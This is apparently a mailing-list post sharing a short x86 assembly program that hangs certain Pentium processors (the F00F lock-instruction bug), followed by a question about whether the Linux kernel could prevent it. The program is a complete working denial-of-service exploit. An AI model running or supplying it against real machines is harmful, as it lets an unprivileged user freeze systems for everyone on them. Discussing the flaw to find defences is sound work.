Well, this may be old news on this list, but this exploit definately
worked on my P120...

.globl main
.globl a
.global b
a:
.string "Doing naughty things with your CPU... ;)\n"
b:
.byte 0xf0
.byte 0x0f
.byte 0xc7
.byte 0xc8
main:
pushl $a
call printf
call b
// shouldn't get here

Is there anything the linux kernel could ever do to prevent this?
